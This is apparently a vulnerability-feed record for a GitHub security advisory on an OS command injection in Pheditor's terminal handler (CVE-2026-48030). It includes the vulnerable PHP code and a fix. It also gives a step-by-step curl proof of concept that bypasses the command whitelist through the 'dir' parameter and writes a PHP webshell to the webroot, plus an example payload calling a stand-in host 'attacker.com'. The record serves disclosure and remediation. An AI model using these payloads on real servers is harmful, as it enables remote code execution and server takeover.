{"id":"CVE-2026-48030","aliases":["GHSA-jvc5-6g7q-c843"],"title":"Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter","summary":"Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter","severity":"critical","cvss":9.9,"cwe":["CWE-78"],"vendor":"pheditor","product":"pheditor/pheditor","ecosystem":"composer","affected":["pheditor/pheditor >= 2.0.1, <= 2.0.3"],"patched":["pheditor/pheditor 2.0.4"],"published":"2026-06-09","updated":"2026-06-09","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-jvc5-6g7q-c843","references":[{"url":"https://github.com/pheditor/pheditor/security/advisories/GHSA-jvc5-6g7q-c843"},{"url":"https://github.com/pheditor/pheditor/commit/62b43df7cb8956a9b0deb9bec278ca8676c890c5"},{"url":"https://github.com/advisories/GHSA-jvc5-6g7q-c843"}],"tags":["ghsa","composer","exploit-available"],"ingestedAt":"2026-07-07T15:41:59.589Z","epss":0.05849,"epssPercentile":0.92894,"exploits":{"github":1,"githubRepos":["https://github.com/muslimbek-0x/CVE-2026-48030"],"nuclei":["CVE-2026-48030"],"checkedAt":"2026-09-21T15:29:13.197Z"},"exploitAvailable":true,"slug":"CVE-2026-48030","body":"## Overview\n\n### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command'];  // ✓ metacharacters checked\n$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&')  !== false ||\n    strpos($command, ';')  !== false ||\n    strpos($command, '||') !== false) {\n    die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n    (empty($dir) ? null : 'cd ' . $dir . ' && ')\n    . $command . ' && echo \\ ; pwd'  // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escapeshellarg($dir)` on line 586.\n\n### PoC\n\nRequirements: valid credentials, terminal permission enabled (default)\n\nStep 1 — Authenticate:\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET/pheditor.php \\\n  -d \"pheditor_password=admin\" -L > /dev/null\n```\n\nStep 2 — Get CSRF token:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | \\\n  grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n```\n\nStep 3 — Confirm curl is blocked via command field:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=curl https://ifconfig.me\" \\\n  --data-urlencode \"dir=/tmp\"\n\n\n→ {\"error\":true,\"message\":\"Command not allowed\"}\n```\n\nStep 4 — Bypass whitelist via dir injection:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | \\\n  grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=ls\" \\\n  --data-urlencode \"dir=/tmp; curl -s https://ifconfig.me #\"\n\n\n→ {\"error\":false,\"message\":\"OK\",\"dir\":\"<PUBLIC_IP>\"}\n```\n\nStep 5 — Full RCE via webshell:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=ls\" \\\n  --data-urlencode \"dir=/var/www/html; echo '<?php system($_GET[\"c\"]);?>' > /var/www/html/shell.php #\"\n\ncurl \"http://TARGET/shell.php?c=id\"\n\n\n→ uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\n\nOS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:\n\n- Execute arbitrary OS commands as the web server user\n- Bypass the TERMINAL_COMMANDS whitelist entirely\n- Deploy persistent PHP webshells to the webroot\n- Read, write, or delete any file accessible to the web server\n- Potentially compromise other applications on the same server\n\n## Affected packages\n\n- `pheditor/pheditor >= 2.0.1, <= 2.0.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pheditor/pheditor 2.0.4`","depth":"abyssal","depthScore":68,"depthScoreParts":{"impact":54.5,"likelihood":1.2,"exploitation":12,"ransomware":0},"changes":[{"seq":5268,"id":"CVE-2026-48030","ts":1788887258137,"field":"exploit_available","old":"false","new":"true"},{"seq":4151,"id":"CVE-2026-48030","ts":1788886374644,"field":"exploit_available","old":"true","new":"false"},{"seq":2920,"id":"CVE-2026-48030","ts":1788883040398,"field":"exploit_available","old":"false","new":"true"},{"seq":1949,"id":"CVE-2026-48030","ts":1788882443518,"field":"exploit_available","old":"true","new":"false"},{"seq":1037,"id":"CVE-2026-48030","ts":1788881878704,"field":"exploit_available","old":"false","new":"true"}]}